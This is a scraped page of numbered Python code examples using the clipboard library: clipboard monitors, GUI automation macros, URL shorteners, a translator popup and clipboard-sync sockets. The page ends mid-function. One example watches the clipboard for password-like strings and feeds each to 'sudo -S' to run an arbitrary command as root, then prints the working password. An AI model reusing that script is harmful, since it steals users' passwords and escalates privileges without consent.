Esempio n. 1
0
def process_file(args, file_or_url):
    if "https://transfer.sh" in file_or_url:
        try:
            download(args, file_or_url)
        except Exception:
            LOG.exception("error while downloading %s", file_or_url)
            return
    else:
        if not os.path.exists(file_or_url):
            LOG.warning("File doesn't exist: %r", file_or_url)
            return
        try:
            password, file_url = upload(args, file_or_url) 
        except Exception:
            LOG.exception("error while uploading %s", file_or_url)
            return
        if not file_url:
            LOG.error("Could not get uploaded file url!")
            return
        if password:
            file_url = file_url + '#' + password
        print("\n"+file_url+"\n")	
	clipboard.copy(file_url)
	clipboard.paste()
	print ("Uploaded file link is copied to clipboard, bye")
Esempio n. 2
0
    def monitor(self, sleep=1, to_db = True, to_text = True):
        if self.config.get_config('sleep', 'time'):
            if self.config.get_config('sleep', 'time').isdigit():
                sleep = int(self.config.get_config('sleep', 'time'))
        if self.config.get_config('save', 'db') == '1':
            to_db = True
        elif self.config.get_config('save', 'db') == '0':
            to_db = False
        if self.config.get_config('save', 'text') == '1':
            to_text = True
        elif self.config.get_config('save', 'text') == '0':
            to_text = False
        clip = None
        while 1:
            try:
                if not clipboard.paste() == clip:
                    clip = clipboard.paste()
                    if to_db:
                        self.save_to_db(clip)
                    if to_text:
                        self.save_to_text(clip)
                    debug(self_width = self.width)
                    # if len(clip) > (self.width - 55):
                    # 	msg = [clip]
                    # 	msg = str(msg)[1:(self.width - 55)][:-1] + " " + make_colors("...", 'lr') + " LEN:" + make_colors(len(clip), 'lg')
                    msg = make_colors("...", 'lr') + " PID:" + make_colors(str(os.getpid()), 'ly') + " LEN:" + make_colors(len(clip), 'lg')
                    print(make_colors(self.get_now(), 'lw', 'bl') + " - " + make_colors("Clipboard Changed !", 'lw', 'lr') + " --> " + make_colors(msg, 'ly'))

                    iconpath = os.path.join(os.path.dirname(__file__), 'clips.png')
                    self.notify.notify("Clipboard Monitor", "Clipboard Changed", "Clipboard Monitor", "changed", host = None, port = None, timeout = None, iconpath = iconpath, pushbullet_api = None, nmd_api = None, growl = True, pushbullet = False, nmd = False)
                else:
                    pass
            except:
                traceback.format_exc()
            time.sleep(sleep)
Esempio n. 3
0
def trans():
    while True:
        try:
            clipclr = open("Clipboards/clipcl.txt", "r")
            try:
                a = clipclr.read()
                if validators.url(a):
                    webbrowser.open(a, new=2)
                clipboard.copy(a)
            except TypeError:
                a = 1
            clipclr.close()
            os.remove("Clipboards/clipcl.txt")
        except FileNotFoundError:
            a = 0
        f1 = open("Clipboards/clippc.txt", "r")
        if clipboard.paste() != f1.read():
            f2 = open(r"Clipboards/clippc.txt", "w+")
            f2.write(clipboard.paste())
            f2.close()
        if os.path.isfile("uploads/toClip.jpg"):
            os.system("clip.exe clipboard copyimage uploads/toClip.jpg")
            os.remove("uploads/toClip.jpg")
        files = os.listdir("uploads/")
        if files != []:
            for f in files:
                try:
                    shutil.move("uploads/" + f, home + "/Desktop/")
                except shutil.Error:
                    continue
        time.sleep(1)
Esempio n. 4
0
def double_check_pid(pid_number):
    sc.get_m2_coordinates()
    pyautogui.doubleClick(m2['prospect_id'])
    keyboard.send('ctrl + c')
    copied_text = clipboard.paste()
    for i in range(3):
        if copied_text != pid_number:
            time.sleep(0.3)
            pyautogui.doubleClick(m2['prospect_id'])
            keyboard.send('ctrl + c')
            copied_text = clipboard.paste()
    if copied_text != pid_number:
        input('Is the pid correct?')
        return
    if pyautogui.locateCenterOnScreen(
            'C:\\Users\\Jared.Abrahams\\Screenshots\\company.png',
            region=(514, 245, 889, 566)) is not None:
        return
    pyautogui.click(m2['company'])
    keyboard.send('ctrl + z')
    time.sleep(1)
    keyboard.send('ctrl + c')
    copied_text = clipboard.paste()
    if 'pid' in copied_text.lower():
        input('Is the pid correct?')
        return
Esempio n. 5
0
def clipboard_is_ok(text):
    """Ensuring the clipboard is not empty and the it's content is different with the previous's."""
    # clipboard.paste() is a listener function
    if clipboard.paste() != u'' and clipboard.paste() != text:
        return 1
    else:
        return 0
Esempio n. 6
0
def main():
    "main loop, 'listens' to the clipboard. saves copied URLs to a text file"
    last_copied = paste()
    current_directory = path.dirname(path.normpath(__file__))
    out_file = path.join(current_directory, 'clipped.txt')
    url_extractor = URLExtract().find_urls
    while True:
        try:
            copied = paste()
            if copied != last_copied:
                log_copied = copied.split('\n')[0][:70]
                logger.info(f'User copied: {log_copied}')
                if copied == exit_string:
                    logger.info('User exited program')
                    break
                with open(out_file, 'a', encoding='utf-8') as fh:
                    for url in url_extractor(copied):
                        fh.write(url + '\n')

                last_copied = copied
        except OSError as e:
            logger.error(f'Could not open file: {out_file}')
            logger.error(str(e))
            logger.error(''.join(traceback.format_tb(e.__traceback__)))
        except Exception as e:
            logger.error(str(e))
            logger.error(''.join(traceback.format_tb(e.__traceback__)))

        sleep(delay)
Esempio n. 7
0
def copyScript(path, macroPath, macroTitle, tmp, work):
    global currentClipboard
    currentClipboard = clipboard.paste()
    result2 = ctypes.windll.user32.MessageBoxW(0, "Once macro is recorded and Pulovers main window is open, press ok to continue...","", MB_OKCANCEL)
    try:
        if result2 == IDOK:
            subprocess.call(['C:\Program Files\AutoHotKey\AutoHotkey.exe','getAhkScript.ahk'])
            title = macroTitle + ".ahk"
            path = pathlib.PurePath(path, title)
            path = pathlib.Path(path)
            open(path,"x")
            with open(path, "a") as rawRecording:
                rawRecording.write("\n"+clipboard.paste())
            clipboard.copy(currentClipboard)
        elif result2 == IDCANCEL:
            #Delete Macro Folder Method <-- Unneeded?
            return False
        else:
            print("unknown MessageBox return code")
            print(result)
            return False
    except WindowsError as win_err:
        print("An error occurred:\n{}".format(win_err))
        return False
    if recordRaw():
        print(cleanMacro(path, macroPath, macroTitle, tmp, work))
        return True
    else:
        f = open(path, "r")
        contents = f.readlines()
        f.close()
        saveAutomation(contents, path, macroTitle, macroPath, tmp, work)
        return True
Esempio n. 8
0
def _copy(ind):
    old = clipboard.paste()
    pyautogui.keyUp('shift')
    pyautogui.keyDown('ctrl')
    pyautogui.press('c')
    pyautogui.keyUp('ctrl')
    time.sleep(.1)
    ram[int(ind)] = clipboard.paste()
    clipboard.copy(old)
Esempio n. 9
0
def copy():
    """复制内容:非重复性拷贝"""
    ori_text = str(cb.paste()) if cb.paste() else ""
    pag.hotkey('ctrl', 'c')
    text = str(cb.paste()) if cb.paste() else ""
    if text != ori_text:
        return text
    else:
        return ""
Esempio n. 10
0
def posielaclient(client):
    staracopy = clipboard.paste()
    while True:
        novacopy = clipboard.paste()
        if novacopy == staracopy:
            pass
        else:
            staracopy = novacopy
            client.sendall(novacopy.encode('utf-8'))
        time.sleep(5)
Esempio n. 11
0
def run_step2():
    link=clipboard.paste()
    if(link.find("https://www.youtube.com/watch?v=")==0 and "-vlc" in link):
        link=link[:-4]
        command = ("vlc " + clipboard.paste())  # text will have the content of clipboard
        os.system('cd /d C:\\Program Files\\VideoLAN\VLC')
        os.system(command)
        clipboard.copy('')
    else:
        pass
Esempio n. 12
0
def posielaserver(server):
    staracopy = clipboard.paste()
    while True:
        novacopy = clipboard.paste()
        if novacopy == staracopy:
            pass
        else:
            staracopy = novacopy
            server.sendall(novacopy.encode('utf-8'))
        time.sleep(5)
def function_ctrlc(num):
    print("Control C pressed")
    global CURRENT_CLIP
    print(CURRENT_CLIP)
    print(clipboard.paste())
    if (clipboard.paste() != CURRENT_CLIP):
        prevCopies.insert(0, CURRENT_CLIP)
        CURRENT_CLIP = clipboard.paste()
        q.put("NEWCOPY:1. " + CURRENT_CLIP)
        q.put("STORED:Stored. " + str(len(prevCopies) + 1))
        currentIndex = 0
Esempio n. 14
0
def clipboard_get_new(delay):
    """
    Wait indefinitely until clipboard updates.
    :param delay: sleep time in s before next check
    :return: string clipboard data
    """
    old_value = clipboard.paste()
    while True:
        time.sleep(delay)
        if old_value != clipboard.paste():
            return clipboard.paste()
    def paste(self):
        """
        Pastes the content of the clipboard into the url input textfield,
        called by the Paste Button next to the Textfield

        :return:
        """
        # get clipboard data
        self.textfield_input.text = clipboard.paste()
        print('[INFO] pasted text:', clipboard.paste())
        self.update_console()
Esempio n. 16
0
 def action_deleter(self):
     count = 0
     screen_gray = matched_img(imread_deleter[0], self.screen_gray, 'deleter')
     screen_gray = matched_img(imread_deleter[1], self.screen_gray, 'deleter1')
     for i in match_list:
         if i[0] == 'deleter1' and count == 0:
             count += 1
             pyautogui.moveTo(i[1][0] + 110, i[1][1] + 155)
             pyautogui.click(button = 'left')
             pyautogui.hotkey('ctrl', 'c')
             pyautogui.press('tab')
             pyautogui.hotkey('ctrl','v')
             for i in range(5):
                 pyautogui.press('tab')
                 time.sleep(0.1)
             for i in range(15):
                 clipboard.copy(0)
                 pyautogui.hotkey('ctrl','c')
                 time.sleep(0.1)
                 temp_date = clipboard.paste()
                 print temp_date
                 if temp_date == '':
                     for c in range(4):
                         pyautogui.press('tab')
                         time.sleep(0.1)
                 else:
                     time.sleep(0.1)
                     pyautogui.press('delete')
                     pyautogui.press('tab')
                     time.sleep(0.1)
                     pyautogui.press('delete')
                     pyautogui.press('tab')
                     time.sleep(0.1)
                     pyautogui.press('tab')
                     time.sleep(0.1)
                     pyautogui.press('0')
                     time.sleep(0.1)
                     pyautogui.press('tab')
             temp_date = 0
             pyautogui.hotkey('ctrl','c')
             temp_date = clipboard.paste()
             if temp_date <> 0:
                 pyautogui.press('delete')
                 pyautogui.press('tab')
                 time.sleep(0.1)
                 pyautogui.press('delete')
                 pyautogui.press('tab')
                 time.sleep(0.1)
                 pyautogui.press('tab')
                 time.sleep(0.1)
                 pyautogui.press('0')
             else:
                 time.sleep(0.1)
Esempio n. 17
0
 def capturarT(self):
     #Get the clipboard
     global text_Input
     text_input = "os"
     if os.name == 'nt':
         text_input = clipboard.paste().replace("\r\n", " ")
     elif os.name == 'posix':
         text_input = clipboard.paste().replace("\n", " ")
     text_input = text_input.strip()
     if not text_input[-1:] == '.':
         text_input += "."
     text_Input.setText(text_input)
Esempio n. 18
0
def start_translation_process():
    global loop_status
    clipboard.copy(languages[language_selections["input"]])
    get_initial_translation(languages[language_selections["input"]])
    recent_value = clipboard.paste()
    loop_status = True
    while loop_status:
        tmp_value = clipboard.paste()
        if tmp_value != recent_value:
            recent_value = tmp_value
            get_subsequent_translation(recent_value)
        time.sleep(0.01)
    driver.quit()
Esempio n. 19
0
def busca():
    pyautogui.moveTo(230, 380)
    pyautogui.click(pyautogui.click(button='left', clicks=2, interval=0.25))
    time.sleep(1)
    pyautogui.hotkey('ctrl', 'c')
    colar = clipboard.paste()
    i = 1
    while i > 0:
        if colar.find('Ignição ligada') > -1 or colar.find('Periódica') > -1:

            pyautogui.moveTo(485, 380)
            pyautogui.click(
                pyautogui.click(button='left', clicks=2, interval=0.25))
            time.sleep(1)
            pyautogui.hotkey('ctrl', 'c')
            colar = clipboard.paste()
            horaDestinoFinal = colar[11:16]

            pyautogui.moveTo(1215, 380)
            pyautogui.click(
                pyautogui.click(button='left', clicks=2, interval=0.25))
            time.sleep(1)
            pyautogui.hotkey('ctrl', 'c')
            colar = clipboard.paste()

            lista = colar.split(' ')
            cidade = len(colar.split(' ')) - 5

            destinoFinal = lista[cidade]
            time.sleep(1)
            vaiPlanilha()

            time.sleep(1)
            pyautogui.moveTo(285, 260)
            pyautogui.click()
            pyautogui.typewrite(destinoFinal)
            time.sleep(0.5)
            pyautogui.moveTo(465, 260)
            pyautogui.click()
            pyautogui.typewrite(horaDestinoFinal)

            #VOLTA PARA O SAT
            vaiSat()
            i = -1
        else:
            pyautogui.scroll(-385)
            pyautogui.click(
                pyautogui.click(button='left', clicks=2, interval=0.25))
            time.sleep(1)
            pyautogui.hotkey('ctrl', 'c')
            colar = clipboard.paste()
Esempio n. 20
0
def go(format, destination):
    # get text field into clipboard
    # TODO: maybe find a way to do this keycombo-agnostic

    # unfortunatly the keyboard isn't updated immediatly when we press ctrl+x. so, we wait until we know the right value is in the clipboard
    clearstring = randomString()
    clipboard.copy(clearstring)
    keyboard.press_and_release("ctrl+a, ctrl+x")
    while clipboard.paste() == clearstring:
        pass

    # retrieve clipboard
    searchString = clipboard.paste()
    core.main(searchString, format, destination)
def on_copied():
    global copied_elements
    global first_element

    time.sleep(0.1)
    reset_copy_status()
    if not first_element:
        copied_elements = queue.Queue()
        first_element = clipboard.paste()

    clipboard_element = clipboard.paste()
    copied_elements.put(clipboard_element)
    clipboard.copy(first_element)
    print("Copy : " + clipboard_element)
Esempio n. 22
0
    def shorten(self, _):
        s = pst.Shortener()
        retrieved_url = clipboard.paste()
        is_valid = validators.url(retrieved_url)
        if is_valid:
            if chosenShortener.__eq__(""):
                rumps.notification("Unspecified Shortener Service",
                                   "Please choose shortener service to use.",
                                   "")

            if chosenShortener.__eq__("chilpit"):
                clipboard.copy(s.chilpit.short(retrieved_url))
            elif chosenShortener.__eq__("clckru"):
                clipboard.copy(s.clckru.short(retrieved_url))
            elif chosenShortener.__eq__("dagd"):
                clipboard.copy(s.dagd.short(retrieved_url))
            elif chosenShortener.__eq__("isgd"):
                clipboard.copy(s.isgd.short(retrieved_url))
            elif chosenShortener.__eq__("osdb"):
                clipboard.copy(s.osdb.short(retrieved_url))
            elif chosenShortener.__eq__("owly"):
                clipboard.copy(s.owly.short(retrieved_url))
            elif chosenShortener.__eq__("qpsru"):
                clipboard.copy(s.qpsru.short(retrieved_url))
            elif chosenShortener.__eq__("tinyurl"):
                clipboard.copy(s.tinyurl.short(retrieved_url))
        else:
            rumps.notification("Invalid URL",
                               "Make sure to copy URL in correct form.", "")
            clipboard.copy("Invalid URL")
Esempio n. 23
0
 def check_input_string(self, driver, check_str, input_xpath=None):
     self.copy_input_str(driver, input_xpath)
     copies_str = clipboard.paste()
     c = lambda c: c.encode('utf-8').replace("(", '').replace(')', '').replace(' ', '').replace('-', '')
     copy_str = c(copies_str)
     self.assertEqual(copy_str, check_str, "Скопированная строка: '%s' не совпадает с введенной: '%s'" %
                      (copy_str, check_str))
Esempio n. 24
0
def item_click(x_item, y_item):
    pyautogui.click(x_item, y_item, button='left', duration=0.2)
    time.sleep(0.2)
    pyautogui.hotkey('ctrlleft', 'c')
    time.sleep(0.1)
    clip = clipboard.paste()
    return clip
Esempio n. 25
0
    def fill(self):
        data = re.split(r'\r\n|\t', clipboard.paste())
        if len(data) == 0:
            messagebox.showinfo(
                "Nothing to paste.",
                "There's nothing in your clipboard. Go to excel and copy something first."
            )
            return

        for tminus in range(3, 0, -1):
            self.label_text.set("Starting in {}...".format(tminus))
            time.sleep(1)
        self.label_text.set("Press ESC to stop.")

        hold_tab = True
        for c in data:
            if keyboard.is_pressed('esc'):
                break

            if c.startswith('>>'):
                sequence = [s.strip() for s in c[2:].split(",")]
                for k in sequence:
                    if k.startswith("pause"):
                        t = float(k[5:])
                        time.sleep(t / 1000)
                    else:
                        keyboard.press_and_release(k)
                hold_tab = True
            else:
                if hold_tab:
                    hold_tab = False
                else:
                    keyboard.press_and_release('tab')
                keyboard.write(str(c))
            time.sleep(0.05)
Esempio n. 26
0
    def convert_minilang_from_clip(self):
        """
        Will convert the xml content in clipboard:
        <set field="serviceCtx.currencyUomId" value="USD"/>
        <set field="serviceCtx.costComponentTypePrefix" value="EST_STD"/>
        :return:
        """
        import xml.etree.ElementTree as ET
        import clipboard
        sett = clipboard.paste()
        root = ET.fromstring('<routine>' + sett + '</routine>')
        # print('root', root.tag)
        result = []
        for setter in root.findall('set'):
            field = setter.get('field')
            type = setter.get('type')
            value = setter.get('value')
            if '.' in field:
                # if field.startswith("serviceCtx.") or field.startswith("searchParams."):
                if value is not None:
                    value = set_value(type, value)
                else:
                    value = setter.get('from-field')
                line = "{}={}".format(field.split('.')[1], value)
                result.append(line)

        text = ",\n".join(result)
        print(text)
        clipboard.copy(text)
Esempio n. 27
0
def execute_copy():
	global prev_data
	copied_data = clipboard.paste()
	
	if not copied_data == prev_data: 
		write_to_json(copied_data)
		prev_data = copied_data
Esempio n. 28
0
def watcher():
    global data
    new_data = clipboard.paste()
    # print(data, new_data)
    if new_data != data:
        data = new_data
        main_window.paste()
Esempio n. 29
0
 def clip(self):
     text = clipboard.paste()
     if text == self.temp:
         pass
     else:
         self.temp = text
         self.add_to_log(self.temp)
Esempio n. 30
0
 def set_data_clipboard(self, column):
     s = clipboard.paste()
     s_var = s
     n = s.count('\t', 0, s.find('\n'))
     header = ''
     for i in self.HeaderLabels[column:column+n+1]:
         header += i + '\t'
     header = header[:-1]
     header = header + '\n'
     s = header + s
     clipboard.copy(s)
     try:
         data = pd.read_clipboard()
         for i in data.keys():
             self.data[i] = remove_nan(data[i])
         self.logger.info('Data loading from clipboard successfully')
         self.notify_observers()
     except (MyException, IsnanInput) as e:
         print(e)
         self.logger.info('Data loading error; Check clipboard values')
         self.logger.error(str(e))
     finally:
         clipboard.copy(s_var)
         self.datastatus = self.check_datastatus()
         if self.datastatus == 'full' or self.datastatus == 'partlyfull':
             self.step_E = self.data['Xe'][1]-self.data['Xe'][0]
             self.step_L = self.data['Xl'][1]-self.data['Xl'][0]
             self.notify_observers_datastatus()
Esempio n. 31
0
    def check_name():
        pg.moveTo(480, 732)
        pg.dragTo(887, 731, 0.5, button='left')
        pg.hotkey('command', 'c')
        name = str(clipboard.paste())
        if name == 'send alert':
            print('send alert')  #i want to alert me by sms or something
            exit()
        name = name[
            1:]  #when i copy it adds a undesirable "\n" on the beginning so i removed it
        name = name.split()[:2]  #only take the first two words
        global first_name
        first_name = name[0]
        name = name[0] + " " + name[1]

        with open("all_names.csv", "r", encoding='UTF-8') as names:
            csv_reader = csv.reader(names)

            for line in csv_reader:
                line = ''.join(line)  #transforming the list to string
                if name == line:
                    launch('terminal')
                    print(name, 'was in the list')
                    count_down(400)
                    main()
        with open("all_names.csv", "a") as names:
            writer = csv.writer(names)
            writer.writerow([name])
Esempio n. 32
0
def get_url_from_browser():
    """
    Gets URL from blowser using clipboard
    """
    pyautogui.hotkey("ctrl", "l")
    pyautogui.hotkey("ctrl", "c")
    return clipboard.paste()
Esempio n. 33
0
	def copy(self):
		if 'indows' in platform.system():
			try:
				import clipboard
				clipboard.copy(self.data)
				return clipboard.paste()
			except:
				import win32clipboard as w
				import win32con
				w.OpenClipboard()
				w.EmptyClipboard()
				w.SetClipboardData(w.CF_TEXT, self.data)
				return w.GetClipboardData(win32con.CF_TEXT)
		elif 'inux' in platform.system():
			try:
				import clipboard
				clipboard.copy(self.data)
				return clipboard.paste()
			except:
				try:
					check_01 = os.system('which xsel')
					if check_01 != '':
						from subprocess import Popen, PIPE
						p = Popen(['xsel','-pi'], stdin=PIPE)
						p.communicate(input='data')
						return os.popen('xsel').read()
					else:
						return "\tplease install xsel (apt-get xsel) or clipboard (pypi)\n\tOn Windows you must install pywin32 (pypi) or clipboard (pypi)\n"
				except:
					if self.check_call('xsel') == 0:
						from subprocess import Popen, PIPE
						p = Popen(['xsel','-pi'], stdin=PIPE)
						p.communicate(input='data')
						return os.popen('xsel').read()
					else:
						return "\tplease install xsel (apt-get xsel) or clipboard (pypi)\n\tOn Windows you must install pywin32 (pypi) or clipboard (pypi)\n"
		elif 'arwin' in platform.system():
			os.system("echo '%s' | pbcopy" % self.data)
			from AppKit import NSPasteboard
			from LaunchServices import *
			pb = NSPasteboard.generalPasteboard()
			text = pb.stringForType_(kUTTypeUTF8PlainText)
			return text
		else:
			print "\t you not in Windows, Linux or Mac, this support for windows/linux/mac yet"
Esempio n. 34
0
def copy():
    """
    this method presses ctrl+c of the virtual key board.
    """
    p.keyDown('ctrl')
    p.keyDown('c')
    p.keyUp('c')
    p.keyUp('ctrl')
    notify('copy '+ clipboard.paste())
Esempio n. 35
0
def paste():
    """
    this method presses ctrl+v of the virtual key board.
    """
    p.keyDown('ctrl')
    p.keyDown('v')
    p.keyUp('v')
    p.keyUp('ctrl')
    notify('paste '+ clipboard.paste())
Esempio n. 36
0
def paste(name=None):
    with Storage() as storage:
        if not name:
            data = clipboard.paste() or storage.get()
        else:
            data = storage.get(name)
        data = smart_str(data)
        clipboard.copy(data)
        return data
Esempio n. 37
0
    def testCopy(self):
        self._createVault()
        self._addLoginItem('mysite', 'myuser', 'mypass', 'mysite.com')

        clipboard.copy('test')
        if clipboard.paste() != 'test':
            # running on a system without clipboard support
            # (eg. Linux sans Xorg)
            self.skipTest('Clipboard not supported')
            return

        (self.exec_1pass('copy mysite')
         .wait())
        self.assertEqual(clipboard.paste(), 'mypass')

        (self.exec_1pass('copy mysite user')
         .wait())
        self.assertEqual(clipboard.paste(), 'myuser')
Esempio n. 38
0
def cut():
    """
    this method presses ctrl+x of the virtual key board.
    """
    p.keyDown('ctrl')
    p.keyDown('x')
    p.keyUp('x')
    p.keyUp('ctrl')
    notify('cut '+ clipboard.paste())
Esempio n. 39
0
 def clipboard_paste(self, *args):
     import clipboard, xml_parse
     size = self.widget.GetSize()
     try:
         if clipboard.paste(self, None, 0):
             common.app_tree.app.saved = False
             self.widget.SetSize(size)
     except xml_parse.XmlParsingError, e:
         print _('\nwxGlade-WARNING: only sizers can be pasted here')
Esempio n. 40
0
def replace_clipboard():
    text = clipboard.paste()
    new_text = []
    for line in text.splitlines():
        line = line.strip().replace(">>> ", "").replace("... ", "")
        if not line.startswith("..."):
            new_text.append(line)
    output = "\n".join(new_text)
    subprocess.call(["notify-send", f"replace clipboard: {output}"])
    clipboard.copy(output)
Esempio n. 41
0
File: cpr.py Progetto: nelodvn/cpr
def paste(dest):
    try:
        f = open(dest, "w")
        payload = clipboard.paste()
        f.write(payload)
        f.flush()
        f.close()
        sys.exit()
    except Exception as e:
        print "[!] Impossible to write to file: %s." % dest
        print e
Esempio n. 42
0
def tupload():
    filename = "Clipboard_" + datetime.datetime.now().strftime("%m-%d-%y_%I.%M.%S%p") + ".txt"
    path = os.path.join(directory, filename)
    text = clipboard.paste()
    f = open(path, 'w')
    f.write(text)
    f.close()
 
    file = {'file': (filename, open(path, 'r'), 'text/plain')}
    payload = {'owner': owner, 'password':password}
    r = requests.post(url, files=file, data=payload)
 
    clipboard.copy("https://i.frogbox.es/" + r.text + ".txt")
Esempio n. 43
0
    def clipboard_paste(self, *args):
        if self.sizer is not None:
            print _("\nwxGlade-WARNING: sizer already set for this window")
            return
        import clipboard, xml_parse

        size = self.widget.GetSize()
        try:
            if clipboard.paste(self, None, 0):
                common.app_tree.app.saved = False
                self.widget.SetSize(size)
        except xml_parse.XmlParsingError, e:
            print _("\nwxGlade-WARNING: only sizers can be pasted here")
Esempio n. 44
0
def tupload():
    filename = "Clipboard_" + datetime.datetime.now().strftime("%m-%d-%y_%I.%M.%S%p") + ".txt"
    path = os.path.join(directory, filename)
    text = clipboard.paste()
    f = open(path, "w")
    f.write(text)
    f.close()

    file = {"file": (filename, open(path, "r"), "text/plain")}
    payload = {"owner": owner, "password": password}
    r = requests.post(url, files=file, data=payload)

    clipboard.copy("https://i.frogbox.es/" + r.text + ".txt")
    os.system('notify-send "Clip uploaded!"')
Esempio n. 45
0
    def paste_clipboard(self, d):
        from base64 import b64decode
        cb = {k: b64decode(v) for k, v in d["data"].items()}

        url = None
        if 'public.url' in cb:
            url = cb['public.url'].decode('utf8')
        elif 'public.utf8-plain-text' in cb:
            import re
            text = cb['public.utf8-plain-text']
            # Super naive, please battle test or replace
            if re.match(rb"[a-z-]+:", text):
                url = text.decode('utf8')

        if url:
            print("Looks like a URL:")
            print(url)
            choice = input("Open it? [Yn] ")
            if not choice or choice.lower() == 'y':
                import webbrowser
                webbrowser.open(url)
                return

        clipboard.paste(cb)
Esempio n. 46
0
def main():
    path = os.path.normpath(clipboard.paste())
    if not os.path.exists(path):
        print path, 'does not exit'
        time.sleep(2)
        return
    print 'content in clipboard (will use as dir path)', path
    os.chdir(path)
    print 'script at', os.getcwd()

    port = gen_port()
    Handler = SimpleHTTPServer.SimpleHTTPRequestHandler
    httpd = SocketServer.TCPServer(("0.0.0.0", port), Handler)

    print "! serve at ------->", str(port)
    httpd.serve_forever()
Esempio n. 47
0
def enlist():
    global links
    link = ''
    prev = ''
    while(True):
        try:
            link = clipboard.paste()
            
            if prev == link:
                pass
            else:
                print(prev)
                prev = link
                if 'youtube' in prev:
                    links.append(prev)
                    sleep(5)
        except:
            print("damned")
Esempio n. 48
0
def webdriver_copy(contract_url):
    driver = webdriver.Chrome(executable_path="C:\\software\\chromedriver_win32\\chromedriver.exe",
                              chrome_options=options)
    driver.get(contract_url)
    try:
        source_button = WebDriverWait(driver, 10).until(
        EC.presence_of_element_located((By.XPATH, '//*[@id="dividcode"]/span[1]/button')))
        source_button = driver.find_element_by_xpath('//*[@id="dividcode"]/span[1]/button')
        source_button.click()
        code = clipboard.paste()
    except Exception as e:
        logger.exception(f'Exception on {contract_url}')
        logger.exception(e)
        code = None

    #driver.close()
    driver.quit()
    return code
Esempio n. 49
0
def _code_helper(line, func, copy=True):
    args = shlex.split(line)
    if not args:
        s = clipboard.paste()
        print 'Will decode:'
        print printable_data(s)
        s = func(s)
        if copy:
            try:
                clipboard.copy(s)
            except:
                print 'Result cannot be copied to the clipboard. Result not copied.'
        return s
    else:
        s = func(args[0].strip())
        if copy:
            try:
                clipboard.copy(s)
            except:
                print 'Result cannot be copied to the clipboard. Result not copied.'
        return s
Esempio n. 50
0
def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('-c', '--command', help='command to run if root password is copied', required=True)
    args = parser.parse_args()
    command = args.command

    print "Trying to run %s" % command

    p = subprocess.Popen("sudo -S echo TESTVAL", shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    out, err = p.communicate()
    if "TESTVAL" in out:
        print "Already can sudo, running command"
        p = subprocess.Popen("sudo -S %s" % command, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        out, err = p.communicate()
        print out
        print err
        sys.exit(0)
    
    last_val = ''
    while True:
        val = clipboard.paste()
        if val != last_val:
            if is_password(val):
                # TODO: Check variations (caps, numbers, etc) of the current value in case password is variation of copied password
                try:
                    p = subprocess.Popen("sudo -S %s" % command, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                    out, err = p.communicate(input='%s\n'%val)
                    if "incorrect password" in err:
                        pass
                    else:
                        print "Sudo'd command executed\n=============================="
                        print "Working password:\n%s" % val
                        print 'stdout:'
                        print out
                        print 'stderr:'
                        print err
                        sys.exit(0)
                except subprocess.CalledProcessError:
                    pass
            last_val = val
Esempio n. 51
0
def symbolDecoder():
	while ser != '':																			#main loop
		while ser.readline().decode('utf-8')[:2]:										#when there is a relevant serial value
			try:																		#try to run the main script
				ind = ser.read()
				board = clipboard.paste()												#store the clipboard contents in the variable
				clipboard.copy(symbols[ind])
				if platform.system() == 'Linux' or platform.system() == 'Windows' :		#for windows and linux
					k.press_key('Control_L')											#paste the clipboard
					k.tap_key('v')
					k.release_key('Control_L')
					#k.tap_key('Return')
				elif platform.system() == 'Darwin':
					k.press_key('Command')
                    			k.tap_key('v')
                    			k.release_key('Command')
                    			#pass
				time.sleep(.1)															#pause for .1 seconds
				clipboard.copy(board)													#restore the clipboard contents
							
			except:																		#if there is an error
				pass																	#do not do anything
def main(debug):
    raw_input("Copy the conversation you want to parse to clipboard, then "
              "press RETURN to continue...")
    my_name = raw_input("What is your full name in the Facebook "
                        "conversation? ")
    text = filter(lambda x: x in string.printable,
                  clipboard.paste().strip())
    if debug:
        print("Parsing the following conversation:\n<<=====>>{}\n<<=====>>"
            .format(text))
    mp = MessengerParse(text, my_name)

    if debug:
        try:
            conversations = mp.parse_text()
        except:
            print mp.lines[:mp.index+1]
            raise
    else:
        conversations = mp.parse_text()

    for c in conversations:
        print("\n")
        print(c)
# coding=utf-8
import os
from Tkinter import *
from yandex_translate import YandexTranslate
import clipboard

# Copied string
Text = clipboard.paste()

# Yandex api
translate = YandexTranslate('Your Yandex Api Key')

Translated = ""

if Text is not None:
    Translated = translate.translate(Text, 'tr')['text'][0]

message = """
%s
---
%s
""" % (Text, Translated)


# User interface
class Application(Frame):
    
    def widgets(self):
        self.LABEL = Label(self)
        self.LABEL["text"] = message
        self.LABEL["wraplength"] = 200
		   '3' : ':^)',
		   '4' : 'sure kid',
		   '5' : 'me too thanks',
		   '6' : 'FeelsBindMan'}
		   
#ser = serial.Serial('/dev/ttyACM0')													#the port the arduino is connected to
ser = serial.Serial('/dev/ttyUSB0')
#ser = serial.Serial('/dev/tty.usbmodem1A21')

while True:																			#main loop
	#print ser.read()
	while ser.readline().decode('utf-8')[:2]:										#when there is a relevant serial value
		try:																		#try to run the main script
			ind = ser.read()
			#print ind
			board = clipboard.paste()												#store the clipboard contents in the variable
			clipboard.copy(symbols[ind])
			#print symbols[ind]
			#print clipboard.paste()
			if platform.system() == 'Linux' or platform.system() == 'Windows' :		#for windows and linux
				k.press_key('Control_L')											#paste the clipboard
				k.tap_key('v')
				k.release_key('Control_L')
				#k.tap_key('Return')
			elif platform.system() == 'Darwin':
				k.press_key('Command')
				k.tap_key('v')
				k.release_key('Command')
				#pass
			time.sleep(.1)															#pause for .1 seconds
			clipboard.copy(board)													#restore the clipboard contents
Esempio n. 55
0
def command(line,reku=False):
	global stop_command
	args = re.split('\s+',line[1:])
	cmd = find_cmd(args[0])
	if cmd == None:
		print("Unknown command "+args[0])
		return False
	if cmd == 'uart':
		if len(args) == 1:
			b = 9600
		elif args[1] == 'fast':
			b = 460800
		else:
			b = args[1]
		sys.stdout.write(reader_prompt)
		tty_send("uart.setup(0,{0},8,0,1,0)".format(b))
		time.sleep(0.5)
		kill_tty()
		open_tty(b)
	elif cmd == 'help':
		replcmd.do_help('')
	elif cmd == 'paste' or cmd == 'file' or cmd.find('compile') or cmd == 'load':
